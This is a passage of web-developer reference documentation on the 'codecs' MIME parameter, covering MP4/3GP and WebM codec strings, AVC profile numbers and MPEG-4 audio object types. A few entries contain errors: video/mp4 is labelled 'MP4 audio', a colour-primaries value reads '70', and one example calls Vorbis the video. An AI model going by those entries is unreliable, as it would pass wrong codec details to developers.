+<h3 id="ISO_Base_Media_File_Format_MP4_QuickTime_and_3GP"><a id="ISO-BMFF" name="ISO-BMFF">ISO Base Media File Format: MP4, QuickTime, and 3GP</a></h3>
+
+<p>All media types based upon the {{interwiki("wikipedia", "ISO Base Media File Format")}} (ISO BMFF) share the same syntax for the <code>codecs</code> parameter. These media types include <a href="/en-US/docs/Web/Media/Formats/Containers#MP4">MPEG-4</a> (and, in fact, the <a href="/en-US/docs/Web/Media/Formats/Containers#QuickTime">QuickTime</a> file format upon which MPEG-4 is based) as well as <a href="/en-US/docs/Web/Media/Formats/Containers#3GP">3GP</a>. Both video and audio tracks can be described using the <code>codecs</code> parameter with the following MIME types:</p>
+
+<table class="standard-table">
+ <caption>Base MIME types supporting the ISO BMFF codecs parameter</caption>
+ <thead>
+  <tr>
+   <th scope="col">MIME type</th>
+   <th scope="col">Description</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><code>audio/3gpp</code></td>
+   <td>3GP audio ({{RFC(3839, "MIME Type Registrations for 3rd generation Partnership Project (3GP) Multimedia files")}})</td>
+  </tr>
+  <tr>
+   <td><code>video/3gpp</code></td>
+   <td>3GP video ({{RFC(3839, "MIME Type Registrations for 3rd generation Partnership Project (3GP) Multimedia files")}})</td>
+  </tr>
+  <tr>
+   <td><code>audio/3gp2</code></td>
+   <td>3GP2 audio ({{RFC(4393, "MIME Type Registrations for 3GPP2 Multimedia files")}})</td>
+  </tr>
+  <tr>
+   <td><code>video/3gp2</code></td>
+   <td>3GP2 video ({{RFC(4393, "MIME Type Registrations for 3GPP2 Multimedia files")}})</td>
+  </tr>
+  <tr>
+   <td><code>audio/mp4</code></td>
+   <td>MP4 audio ({{RFC(4337, "MIME Type Registration for MPEG-4")}})</td>
+  </tr>
+  <tr>
+   <td><code>video/mp4</code></td>
+   <td>MP4 audio ({{RFC(4337, "MIME Type Registration for MPEG-4")}})</td>
+  </tr>
+  <tr>
+   <td><code>application/mp4</code></td>
+   <td>Non-audiovisual media encapsulated in MPEG-4</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>Each codec described by the <code>codecs</code> parameter can be specified either as simply the container's name (<code>3gp</code>, <code>mp4</code>, <code>quicktime</code>, etc.) or as the container name plus additional parameters to specify the codec and its configuration. Each entry in the codec list may contain some number of components, separated by periods (<code>.</code>).</p>
+
+<p>The syntax for the value of <code>codecs</code> varies by codec; however, it always starts with the codec's four-character identifier, a period separator (<code>.</code>), followed by the Object Type Indication (OTI) value for the specific data format. For most codecs, the OTI is a two-digit hexadecimal number; however, it's six hexadecimal digits for <a href="/en-US/docs/Web/Media/Formats/Video_codecs#AVC_(H.264)">AVC (H.264)</a>.</p>
+
+<p>Thus, the syntaxes for each of the supported codecs look like this:</p>
+
+<dl>
+ <dt><code>cccc[.pp]*</code> (Generic ISO BMFF)</dt>
+ <dd>Where <code>cccc</code> is the four-character ID for the codec and <code>pp</code> is where zero or more two-character encoded property values go.</dd>
+ <dt><code>mp4a.oo[.A]</code> (MPEG-4 audio)</dt>
+ <dd>Where <code>oo</code> is the Object Type Indication value describing the contents of the media more precisely and <code>A</code> is the one-digit <em>audio</em> OTI. The possible values for the OTI can be found on the MP4 Registration Authority web site's <a href="http://mp4ra.org/#/object_types">Object Types page</a>. For example, Opus audio in an MP4 file is <code>mp4a.ad</code>. For further details, see {{anch("MPEG-4 audio")}}.</dd>
+ <dt><code>mp4v.oo[.V]</code> (MPEG-4 video)</dt>
+ <dd>Here, <code>oo</code> is again the OTI describing the contents more precisely, while <code>V</code> is the one-digit <em>video</em> OTI.</dd>
+ <dt><code>avc1.oo[.PPCCLL]</code> (AVC video)</dt>
+ <dd>
+ <p><code>oo</code> is the OTI describing the contents, while <code>PPCCLL</code> is six hexadecimal digits specifying the profile number (<code>PP</code>), constraint set flags (<code>CC</code>), and level (<code>LL</code>). See {{anch("AVC profiles")}} for the possible values of <code>PP</code>.</p>
+
+ <p>The constraint set flags byte is comprised of one-bit Boolean flags, with the most significant bit being referred to as flag 0 (or <code>constraint_set0_flag</code>, in some resources), and each successive bit being numbered one higher. Currently, only flags 0 through 2 are used; the other five bits <em>must</em> be zero. The meanings of the flags vary depending on the profile being used.</p>
+
+ <p>The level is a fixed-point number, so a value of <code>14</code> (decimal 20) means level 2.0 while a value of <code>3D</code> (decimal 61) means level 6.1. Generally speaking, the higher the level number, the more bandwidth the stream will use and the higher the maximum video dimensions are supported.</p>
+ </dd>
+</dl>
+
+<h4 id="AVC_profiles">AVC profiles</h4>
+
+<p>The following are the AVC profiles and their profile numbers for use in the <code>codecs</code> parameter, as well as the value to specify for the constraints component, <code>CC</code>.</p>
+
+<table class="standard-table">
+ <caption>Specifying an AVC profiles using the profile ID and constraints components of the <code>codecs</code> parameter</caption>
+ <thead>
+  <tr>
+   <th scope="col">Profile</th>
+   <th scope="col">Number (Hex)</th>
+   <th scope="col">Constraints byte</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><strong>Constrained Baseline Profile (CBP)</strong><br>
+    CBP is primarily a solution for scenarios in which resources are constrained, or resource use needs to be controlled to minimize the odds of the media performing poorly.</td>
+   <td><code>42</code></td>
+   <td><code>40</code></td>
+  </tr>
+  <tr>
+   <td><strong>Baseline Profile (BP)</strong><br>
+    Similar to CBP but with more data loss protections and recovery capabilities. This is not as widely used as it was before CBP was introduced. All CBP streams are considered to also be BP streams.</td>
+   <td><code>42</code></td>
+   <td><code>00</code></td>
+  </tr>
+  <tr>
+   <td><strong>Extended Profile (XP)</strong><br>
+    Designed for streaming video over the network, with high compression capability and further improvements to data robustness and stream switching.</td>
+   <td><code>58</code></td>
+   <td><code>00</code></td>
+  </tr>
+  <tr>
+   <td><strong>Main Profile (MP)</strong><br>
+    The profile used for standard-definition digital television being broadcast in MPEG-4 format. <em>Not</em> used for high-definition television broadcasts. This profile's importance has faded since the introduction of the High Profile—which was added for HDTV use—in 2004.</td>
+   <td><code>4D</code></td>
+   <td><code>00</code></td>
+  </tr>
+  <tr>
+   <td><strong>High Profile (HiP)</strong><br>
+    Currently, HiP is the primary profile used for broadcast and disc-based HD video; it's used both for HD TV broadcasts and for  Blu-Ray video.</td>
+   <td><code>64</code></td>
+   <td><code>00</code></td>
+  </tr>
+  <tr>
+   <td><strong>Progressive High Profile (PHiP)</strong><br>
+    Essentially High Profile without support for field coding.</td>
+   <td><code>64</code></td>
+   <td><code>08</code></td>
+  </tr>
+  <tr>
+   <td><strong>Constrained High Profile</strong><br>
+    PHiP, but without support for bi-predictive slices ("B-slices").</td>
+   <td><code>64</code></td>
+   <td><code>0C</code></td>
+  </tr>
+  <tr>
+   <td><strong>High 10 Profile (Hi10P)</strong><br>
+    High Profile, but with support for up to 10 bits per color component.</td>
+   <td><code>6E</code></td>
+   <td><code>00</code></td>
+  </tr>
+  <tr>
+   <td><strong>High 4:2:2 Profile (Hi422P)</strong><br>
+    Expands upon Hi10P by adding support for 4:2:2 chroma subsampling along with up to10 bits per color component.</td>
+   <td><code>7A</code></td>
+   <td><code>00</code></td>
+  </tr>
+  <tr>
+   <td><strong>High 4:4:4 Predictive Profile (Hi444PP)</strong><br>
+    In addition to the capabilities included in Hi422P, Hi444PP adds support for 4:4:4 chroma subsampling (in which no color information is discarded). Also includes support for up to 14 bits per color sample and efficient lossless region coding. The option to encode each frame as three separate color planes (that is, each color's data is stored as if it were a single monochrome frame).</td>
+   <td><code>F4</code></td>
+   <td><code>00</code></td>
+  </tr>
+  <tr>
+   <td><strong>High 10 Intra Profile</strong><br>
+    High 10 constrained to all-intra-frame use. Primarily used for professional apps.</td>
+   <td><code>6E</code></td>
+   <td><code>10</code></td>
+  </tr>
+  <tr>
+   <td><strong>High 4:2:2 Intra Profile</strong><br>
+    The Hi422 Profile with all-intra-frame use.</td>
+   <td><code>7A</code></td>
+   <td><code>10</code></td>
+  </tr>
+  <tr>
+   <td><strong>High 4:4:4 Intra Profile</strong><br>
+    The High 4:4:4 Profile constrained to use only intra frames.</td>
+   <td><code>F4</code></td>
+   <td><code>10</code></td>
+  </tr>
+  <tr>
+   <td><strong>CAVLC 4:4:4 Intra Profile</strong><br>
+    The High 4:4:4 Profile constrained to all-intra use, and to using only CAVLC entropy coding.</td>
+   <td><code>44</code></td>
+   <td><code>00</code></td>
+  </tr>
+  <tr>
+   <td><strong>Scalable Baseline Profile</strong><br>
+    Intended for use with video conferencing as well as surveillance and mobile uses, the {{interwiki("wikipedia", "SVC")}} Baseline Profile is based on AVC's Constrained Baseline profile. The base layer within the stream is provided at a high quality level, with some number of secondary substreams that offer alternative forms of the same video for use in various constrained environments. These may include any combination of reduced resolution, reduced frame rate, or increased compression levels.</td>
+   <td><code>53</code></td>
+   <td><code>00</code></td>
+  </tr>
+  <tr>
+   <td><strong>Scalable Constrained Baseline Profile</strong><br>
+    Primarily used for real-time communication applications. Not yet supported by WebRTC, but an extension to the WebRTC API <a href="https://github.com/w3c/webrtc-svc">to allow SVC</a> is in development.</td>
+   <td><code>53</code></td>
+   <td><code>04</code></td>
+  </tr>
+  <tr>
+   <td><strong>Scalable High Profile</strong><br>
+    Meant mostly for use in broadcast and streaming applications. The base (or highest quality) layer must conform to the AVC High Profile.</td>
+   <td><code>56</code></td>
+   <td><code>00</code></td>
+  </tr>
+  <tr>
+   <td><strong>Scalable Constrained High Profile</strong><br>
+    A subset of the Scalable High Profile designed mainly for real-time communticions.</td>
+   <td><code>56</code></td>
+   <td><code>04</code></td>
+  </tr>
+  <tr>
+   <td><strong>Scalable High Intra Profile</strong><br>
+    Primarily useful only for production applications, this profile supports only all-intra usage.</td>
+   <td><code>56</code></td>
+   <td><code>20</code></td>
+  </tr>
+  <tr>
+   <td><strong>Stereo High Profile</strong><br>
+    The Stereo High Profile provides stereoscopic video using two renderings of the scene (left eye and right eye). Otherwise, provides the same features as the High profile.</td>
+   <td><code>80</code></td>
+   <td><code>00</code></td>
+  </tr>
+  <tr>
+   <td><strong>Multiview High Profile</strong><br>
+    Supports two or more views using both temporal and MVC inter-view prediction. <em>Does not support</em> field pictures or macroblock-adaptive frame-field coding.</td>
+   <td><code>76</code></td>
+   <td><code>00</code></td>
+  </tr>
+  <tr>
+   <td><strong>Multiview Depth High Profile</strong><br>
+    Based on the High Profile, to which the main substream must adhere. The remaining substreams must match the Stereo High Profile.</td>
+   <td><code>8A</code></td>
+   <td><code>00</code></td>
+  </tr>
+ </tbody>
+</table>
+
+<h4 id="MPEG-4_audio">MPEG-4 audio</h4>
+
+<p>When the value of an entry in the <code>codecs</code> list begins with <code>mp4a</code>, the syntax of the value should be:</p>
+
+<pre>mp4a.oo[.A]</pre>
+
+<p>Here, <code>oo</code> is the two-digit hexadecimal Object Type Indication which specifies the codec class being used for the media. The OTIs are assigned by the <a href="http://mp4ra.org/">MP4 Registration Authority</a>, which maintains a <a href="http://mp4ra.org/#/object_types">list of the possible OTI values</a>. A special value is <code>40</code>; this indicates that the media is MPEG-4 audio (ISO/IEC 14496 Part 3). In order to be more specific still, a third component—the Audio Object Type—is added for OTI <code>40</code> to narrow the type down to a specific subtype of MPEG-4.</p>
+
+<p>The Audio Object Type is specified as a one or two digit <em>decimal</em> value (unlike most other values in the <code>codecs</code> parameter, which use hexadecimal). For example, MPEG-4's AAC-LC has an audio object type number of <code>2</code>, so the full <code>codecs</code> value representing AAC-LC is <code>mp4a.40.2</code>.</p>
+
+<p>Thus, ER AAC LC, whose Audio Object Type is 17, can be represented using the full <code>codecs</code> value <code>mp4a.40.17</code>. Single digit values can be given either as one digit (which is the best choice, since it will be the most broadly compatible) or with a leading zero padding it to two digits, such as <code>mp4a.40.02</code>.</p>
+
+<div class="blockIndicator note">
+<p><strong>Note:</strong> The specification originally mandated that the Audio Object Type number in the third component be only one decimal digit. However, amendments to the specification over time extended the range of these values well beyond one decimal digit, so now the third parameter may be either one or two digits. Padding values below 10 with a leading <code>0</code> is optional. Older implementations of MPEG-4 codecs may not support two-digit values, however, so using a single digit when possible will maximize compatibility.</p>
+</div>
+
+<p>The Audio Object Types are defined in ISO/IEC 14496-3 subpart 1, section 1.5.1. The table below provides a basic list of the Audio Object Types and in the case of the more common object ypes provides a list of the profiles supporting it, but you should refer to the specification for details if you need to know more about the inner workings of any given MPEG-4 audio type.</p>
+
+<table class="standard-table">
+ <caption>MPEG-4 audio object types</caption>
+ <thead>
+  <tr>
+   <th scope="col">ID</th>
+   <th scope="col">Audio Object Type</th>
+   <th scope="col">Profile support</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><code>0</code></td>
+   <td>NULL</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>1</code></td>
+   <td>AAC Main</td>
+   <td>Main</td>
+  </tr>
+  <tr>
+   <td><code>2</code></td>
+   <td>AAC LC (Low Complexity)</td>
+   <td>Main, Scalable, HQ, LD v2, AAC, HE-AAC, HE-AAC v2</td>
+  </tr>
+  <tr>
+   <td><code>3</code></td>
+   <td>AAC SSR (Scalable Sampling Rate)</td>
+   <td>Main</td>
+  </tr>
+  <tr>
+   <td><code>4</code></td>
+   <td>AAC LTP (Long Term Prediction)</td>
+   <td>Main, Scalable, HQ</td>
+  </tr>
+  <tr>
+   <td><code>5</code></td>
+   <td>SBR (Spectral Band Replication)</td>
+   <td>HE-AAC, HE-AAC v2</td>
+  </tr>
+  <tr>
+   <td><code>6</code></td>
+   <td>AAC Scalable</td>
+   <td>Main, Scalable, HQ</td>
+  </tr>
+  <tr>
+   <td><code>7</code></td>
+   <td>TwinVQ (Coding for ultra-low bit rates)</td>
+   <td>Main, Scalable</td>
+  </tr>
+  <tr>
+   <td><code>8</code></td>
+   <td>CELP (Code-Excited Linear Prediction)</td>
+   <td>Main, Scalable, Speech, HQ, LD</td>
+  </tr>
+  <tr>
+   <td><code>9</code></td>
+   <td>HVXC (Harmonic Vector Excitation Coding)</td>
+   <td>Main, Scalable, Speech, LD</td>
+  </tr>
+  <tr>
+   <td><code>10</code> – <code>11</code></td>
+   <td><em>Reserved</em></td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>12</code></td>
+   <td>TTSI (Text to Speech Interface)</td>
+   <td>Main, Scalable, Speech, Synthetic, LD</td>
+  </tr>
+  <tr>
+   <td><code>13</code></td>
+   <td>Main Synthetic</td>
+   <td>Main, Synthetic</td>
+  </tr>
+  <tr>
+   <td><code>14</code></td>
+   <td>Wavetable Synthesis</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>15</code></td>
+   <td>General MIDI</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>16</code></td>
+   <td>Algorithmic Synthesis and Audio Effects</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>17</code></td>
+   <td>ER AAC LC (Error Resilient AAC Low-Complexity)</td>
+   <td>HQ, Mobile Internetworking</td>
+  </tr>
+  <tr>
+   <td><code>18</code></td>
+   <td><em>Reserved</em></td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>19</code></td>
+   <td>ER AAC LTP (Error Resilient AAC Long Term Prediction)</td>
+   <td>HQ</td>
+  </tr>
+  <tr>
+   <td><code>20</code></td>
+   <td>ER AAC Scalable (Error Resilient AAC Scalable)</td>
+   <td>Mobile Internetworking</td>
+  </tr>
+  <tr>
+   <td><code>21</code></td>
+   <td>ER TwinVQ (Error Resilient TwinVQ)</td>
+   <td>Mobile Internetworking</td>
+  </tr>
+  <tr>
+   <td><code>22</code></td>
+   <td>ER BSAC (Error Reslient Bit-Sliced Arithmetic Coding)</td>
+   <td>Mobile Internetworking</td>
+  </tr>
+  <tr>
+   <td><code>23</code></td>
+   <td>ER AAC LD (Error Resilient AAC Low-Delay; used for two-way communication)</td>
+   <td>LD, Mobile Internetworking</td>
+  </tr>
+  <tr>
+   <td><code>24</code></td>
+   <td>ER CELP (Error Resilient Code-Excited Linear Prediction)</td>
+   <td>HQ, LD</td>
+  </tr>
+  <tr>
+   <td><code>25</code></td>
+   <td>ER HVXC (Error Resilient Harmonic Vector Excitation Coding)</td>
+   <td>LD</td>
+  </tr>
+  <tr>
+   <td><code>26</code></td>
+   <td>ER HILN (Error Resilient Harmonic and Individual Line plus Noise)</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>27</code></td>
+   <td>ER Parametric (Error Resilient Parametric)</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>28</code></td>
+   <td>SSC (Sinusoidal Coding)</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>29</code></td>
+   <td>PS (Parametric Stereo)</td>
+   <td>HE-AAC v2</td>
+  </tr>
+  <tr>
+   <td><code>30</code></td>
+   <td>MPEG Surround</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>31</code></td>
+   <td><em>Escape</em></td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>32</code></td>
+   <td>MPEG-1 Layer-1</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>33</code></td>
+   <td>MPEG-1 Layer-2 (MP2)</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>34</code></td>
+   <td>MPEG-1 Layer-3 (MP3)</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>35</code></td>
+   <td>DST (Direct Stream Transfer)</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>36</code></td>
+   <td>ALS (Audio Lossless)</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>37</code></td>
+   <td>SLS (Scalable Lossless)</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>38</code></td>
+   <td>SLS Non-core (Scalable Lossless Non-core)</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>39</code></td>
+   <td>ER AAC ELD (Error Resilient AAC Enhanced Low Delay)</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>40</code></td>
+   <td>SMR Simple (Symbolic Music Representation Simple)</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>41</code></td>
+   <td>SMR Main (Symbolic Music Representation Main)</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>42</code></td>
+   <td><em>Reserved</em></td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>43</code></td>
+   <td>SAOC (Spatial Audio Object Coding)<sup><a href="#audio-object-types-foot-1">[1]</a></sup></td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>44</code></td>
+   <td>LD MPEG Surround (Low Delay MPEG Surround)<sup><a href="#audio-object-types-foot-1">[1]</a></sup></td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>45</code> and up</td>
+   <td><em>Reserved</em></td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<p><a name="audio-object-types-foot-1">[1]</a> SAOC and LD MPEG Surround are defined in <a href="https://www.iso.org/standard/54838.html">ISO/IEC 14496-3:2009/Amd.2:2010(E)</a>.</p>
+
+<h3 id="WebM">WebM</h3>
+
+<p>The basic form for a WebM <code>codecs</code> parameter is to simply list one or more of the four WebM codecs by name, separated by commas. The table below shows some examples:</p>
+
+<table class="standard-table">
+ <caption>Examples of classic WebM MIME types with <code>codecs</code> parameter</caption>
+ <thead>
+  <tr>
+   <th scope="col">MIME type</th>
+   <th scope="col">Description</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><code>video/webm;codecs="vp8"</code></td>
+   <td>A WebM video with VP8 video in it; no audio is specified.</td>
+  </tr>
+  <tr>
+   <td><code>video/webm;codecs="vp9"</code></td>
+   <td>A WebM video with VP9 video in it.</td>
+  </tr>
+  <tr>
+   <td><code>audio/webm;codecs="vorbis"</code></td>
+   <td>Vorbis audio in a WebM container.</td>
+  </tr>
+  <tr>
+   <td><code>audio/webm;codecs="opus"</code></td>
+   <td>Opus audio in a WebM container.</td>
+  </tr>
+  <tr>
+   <td><code>video/webm;codecs="vp8,vorbis"</code></td>
+   <td>A WebM container with VP8 video and Vorbis audio.</td>
+  </tr>
+  <tr>
+   <td><code>video/webm;codecs="vp9,opus"</code></td>
+   <td>A WebM container with VP9 video and Opus audio.</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>The strings <code>vp8.0</code> and <code>vp9.0</code> also work, but are not recommended.</p>
+
+<h4 id="ISO_Base_Media_File_Format_syntax">ISO Base Media File Format syntax</h4>
+
+<p>As part of a move toward a standardized and powerful format for the <code>codecs</code> parameter, WebM is moving toward describing <em>video</em> content using a syntax based on that defined by the <a href="#ISO-BMFF">ISO Base Media File Format</a>. This syntax is defined in <a href="https://www.webmproject.org/vp9/mp4">VP Codec ISO Media File Format Binding</a>, in the section <a href="https://www.webmproject.org/vp9/mp4/#codecs-parameter-string">Codecs Parameter String</a>. The audio codec continues to be indicated as either <code>vorbis</code> or <code>opus</code>.</p>
+
+<p>In this format, the <code>codecs</code> parameter's value begins with a four-character code identifying the codec being used in the container, which is then followed by a series of period (<code>.</code>) separated two-digit values.</p>
+
+<pre>cccc.PP.LL.DD.CC[.cp[.tc[.mc[.FF]]]]</pre>
+
+<p>The first five components are required; everything from <code>cp</code> (color primaries) onward is optional; you can stop including components at any point from then onward. Each of these components is described in the following table. Following the table are some examples.</p>
+
+<table class="standard-table">
+ <caption>WebM codecs parameter components</caption>
+ <thead>
+  <tr>
+   <th scope="col">Component</th>
+   <th scope="col">Details</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><code>cccc</code></td>
+   <td>
+    <p>A four-character code indicating which indicates which of the possible codecs is being described. Potential values are:</p>
+
+    <table class="standard-table">
+     <caption>Four-character codes for WebM-supported codecs</caption>
+     <thead>
+      <tr>
+       <th scope="col">Four-character code</th>
+       <th scope="col">Codec</th>
+      </tr>
+     </thead>
+     <tbody>
+      <tr>
+       <td><code>vp08</code></td>
+       <td>VP8</td>
+      </tr>
+      <tr>
+       <td><code>vp09</code></td>
+       <td>VP9</td>
+      </tr>
+      <tr>
+       <td><code>vp10</code></td>
+       <td>VP10</td>
+      </tr>
+     </tbody>
+    </table>
+   </td>
+  </tr>
+  <tr>
+   <td><code>PP</code></td>
+   <td>
+    <p>The two-digit profile number, padded with leading zeroes if necessary to be exactly two digits.</p>
+
+    <table class="standard-table">
+     <caption>WebM profile numbers</caption>
+     <thead>
+      <tr>
+       <th scope="col">Profile</th>
+       <th scope="col">Description</th>
+      </tr>
+     </thead>
+     <tbody>
+      <tr>
+       <td><code>00</code></td>
+       <td>Only 4:2:0 (chroma subsampled both horizontally and vertically). Allows only 8 bits per color component.</td>
+      </tr>
+      <tr>
+       <td><code>01</code></td>
+       <td>All chroma subsampling formats are allowed. Allows only 8 bits per color component.</td>
+      </tr>
+      <tr>
+       <td><code>02</code></td>
+       <td>Only 4:2:0 (chroma subsampled both horizontally and vertically). Supports 8, 10, or 12 bits per color sample component.</td>
+      </tr>
+      <tr>
+       <td><code>03</code></td>
+       <td>All chroma subsampling formats are allowed. Supports 8, 10, or 12 bits per color sample component.</td>
+      </tr>
+     </tbody>
+    </table>
+   </td>
+  </tr>
+  <tr>
+   <td><code>LL</code></td>
+   <td>The two-digit level number. The level number is a fixed-point notation, where the first digit is the ones digit, and the second digit represents tenths. For example, level 3 is <code>30</code> and level 6.1 is <code>61</code>.</td>
+  </tr>
+  <tr>
+   <td><code>DD</code></td>
+   <td>The bit depth of the luma and color component values; permitted values are 8, 10, and 12.</td>
+  </tr>
+  <tr>
+   <td><code>CC</code></td>
+   <td>
+    <p>A two-digit value indicating which chroma subsampling format to use. The following table lists permitted values; see {{SectionOnPage("en-US/docs/Web/Media/Formats/Video_concepts", "Chroma subsampling")}} for additional information about this topic and others.</p>
+
+    <table class="standard-table">
+     <caption>WebM chroma subsampling identifiers</caption>
+     <thead>
+      <tr>
+       <th scope="col">Value</th>
+       <th scope="col">Chroma subsampling format</th>
+      </tr>
+     </thead>
+     <tbody>
+      <tr>
+       <td><code>00</code></td>
+       <td>4:2:0 with the chroma samples sited interstitially between the pixels</td>
+      </tr>
+      <tr>
+       <td><code>01</code></td>
+       <td>4:2:0 chroma subsampling with the samples colocated with luma (0, 0)</td>
+      </tr>
+      <tr>
+       <td><code>02</code></td>
+       <td>4:2:2 chroma subsampling (4 out of each 4 horizontal pixels' luminance are used)</td>
+      </tr>
+      <tr>
+       <td><code>03</code></td>
+       <td>4:4:4 chroma subsampling (every pixel's luminance and chrominance are both retained)</td>
+      </tr>
+      <tr>
+       <td><code>04</code></td>
+       <td><em>Reserved</em></td>
+      </tr>
+     </tbody>
+    </table>
+   </td>
+  </tr>
+  <tr>
+   <td><code>cp</code></td>
+   <td>
+    <p>A two-digit integer specifying which of the color primaries from Section 8.1 of the <a href="https://www.itu.int/rec/T-REC-H.273/en">ISO/IEC 23001-8:2016</a> standard. This component, and every component after it, is optional.</p>
+
+    <p>The possible values of the color primaries component are:</p>
+
+    <table class="standard-table">
+     <caption>ISO/IEC Color primary identifiers</caption>
+     <thead>
+      <tr>
+       <th scope="col">Value</th>
+       <th scope="col">Details</th>
+      </tr>
+     </thead>
+     <tbody>
+      <tr>
+       <td><code>00</code></td>
+       <td><em>Reserved for future use by ITU or ISO/IEC</em></td>
+      </tr>
+      <tr>
+       <td><code>01</code></td>
+       <td>BT.709, sRGB, sYCC. BT.709 is the standard for high definition (HD) television; sRGB is the most common color space used for computer displays. Broadcast BT.709 uses 8-bit color depth with the legal range being from 16 (black) to 235 (white).</td>
+      </tr>
+      <tr>
+       <td><code>02</code></td>
+       <td>Image characteristics are unknown, or are to be determined by the application</td>
+      </tr>
+      <tr>
+       <td><code>03</code></td>
+       <td><em>Reserved for future use by ITU or ISO/IEC</em></td>
+      </tr>
+      <tr>
+       <td><code>04</code></td>
+       <td>BT.470 System M, NTSC (standard definition television in the United States)</td>
+      </tr>
+      <tr>
+       <td><code>05</code></td>
+       <td>BT.470 System B, G; BT.601; BT.1358 625; BT.1700 625 PAL and 625 SECAM</td>
+      </tr>
+      <tr>
+       <td><code>06</code></td>
+       <td>BT.601 525; BT.1358 525 or 625; BT.1700 NTSC; SMPTE 170M. <em>Functionally identical to <code>7</code>.</em></td>
+      </tr>
+      <tr>
+       <td><code>70</code></td>
+       <td>{{Glossary("SMPTE")}} 240M (historical). <em>Functionally identical to <code>6</code>.</em></td>
+      </tr>
+      <tr>
+       <td><code>08</code></td>
+       <td>Generic film</td>
+      </tr>
+      <tr>
+       <td><code>09</code></td>
+       <td>BT.2020; BT.2100. Used for ultra-high definition (4K) High Dynamic Range (HDR) video, these have a very wide color gamut and support 10-bit and 12-bit color component depths.</td>
+      </tr>
+      <tr>
+       <td><code>10</code></td>
+       <td>SMPTE ST 428 (D-Cinema Distribution Master: Image characteristics). Defines the uncompressed image characteristics for DCDM.</td>
+      </tr>
+      <tr>
+       <td><code>11</code></td>
+       <td>SMPTE RP 431 (D-Cinema Quality: Reference projector and environment). Describes the reference projector and environment conditions that provide a consistent film presentation experience.</td>
+      </tr>
+      <tr>
+       <td><code>12</code></td>
+       <td>SMPTE EG 432 (Digital Source Processing: Color Processing for D-Cinema). Engineering guideline making color signal decoding recommendations for digital movies.</td>
+      </tr>
+      <tr>
+       <td><code>13</code> – <code>21</code></td>
+       <td><em>Reserved for future use by ITU-T or ISO/IEC</em></td>
+      </tr>
+      <tr>
+       <td><code>22</code></td>
+       <td>EBU Tech 3213-E</td>
+      </tr>
+      <tr>
+       <td><code>23</code> – <code>255</code></td>
+       <td><em>Reserved for future use by ITU-T or ISO/IEC</em></td>
+      </tr>
+     </tbody>
+    </table>
+   </td>
+  </tr>
+  <tr>
+   <td><code>tc</code></td>
+   <td>A two-digit integer indicating the <code>transferCharacteristics</code> for the video. This value is from Section 8.2 of <a href="https://www.itu.int/rec/T-REC-H.273/en">ISO/IEC 23001-8:2016</a>, and indicates the transfer characteristics to be used when adapting the decoded color to the render target.</td>
+  </tr>
+  <tr>
+   <td><code>mc</code></td>
+   <td>The two-digit value for the <code>matrixCoefficients</code> property. This value comes from the table in Section 8.3 of the <a href="https://www.itu.int/rec/T-REC-H.273/en">ISO/IEC 23001-8:2016</a> specification. This value indicates which set of coefficients to use when mapping from the native red, blue, and green primaries to the luma and chroma signals. These coefficients are in turn used with the equations found in that same section.</td>
+  </tr>
+  <tr>
+   <td><code>FF</code></td>
+   <td>Indicates whether to restrict the black level and color range of each color component to the legal range. For 8 bit color samples, the legal range is 16-235. A value of <code>00</code> indicates that these limitations should be enforced, while a value of <code>01</code> allows the full range of possible values for each component, even if the resulting color is out of bounds for the color system.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h4 id="WebM_media_type_examples">WebM media type examples</h4>
+
+<dl>
+ <dt><code>video/webm;codecs="vp08.00.41.08,vorbis"</code></dt>
+ <dd>VP8 video, profile 0 level 4.1, using 8-bit YUV with 4:2:0 chroma subsampling, using BT.709 color primaries, transfer function, and matrix coefficients, with the luminance and chroma values encoded within the legal ("studio") range. The video is Vorbis.</dd>
+ <dt><code>video/webm;codecs="vp09.02.10.10.01.09.16.09.01,opus"</code></dt>
+ <dd>VP9 video, profile 2 level 1.0, with 10-bit YUV content using 4:2:0 chroma subsampling, BT.2020 primaries, ST 2084 EOTF (HDR SMPTE), BT.2020 non-constant luminance color matrix, and full-range chroma and luma encoding. The audio is in Opus format.</dd>
+</dl>
+
+<h2 id="Using_the_codecs_parameter">Using the codecs parameter</h2>
+
+<p>You can use the <code>codecs</code> parameter in a few situations. Firstly, you can use it with the {{HTMLElement("source")}} element when creating an {{HTMLElement("audio")}} or {{HTMLElement("video")}} element, in order to establish a group of options for the browser to choose from when selecting the format of the media to present to the user in the element.</p>
+
+<p>You can also use the codecs parameter when specifying a MIME media type to the {{domxref("MediaSource.isTypeSupported()")}} method; this method returns a Boolean which indicates whether or not the media is likely to work on the current device.</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
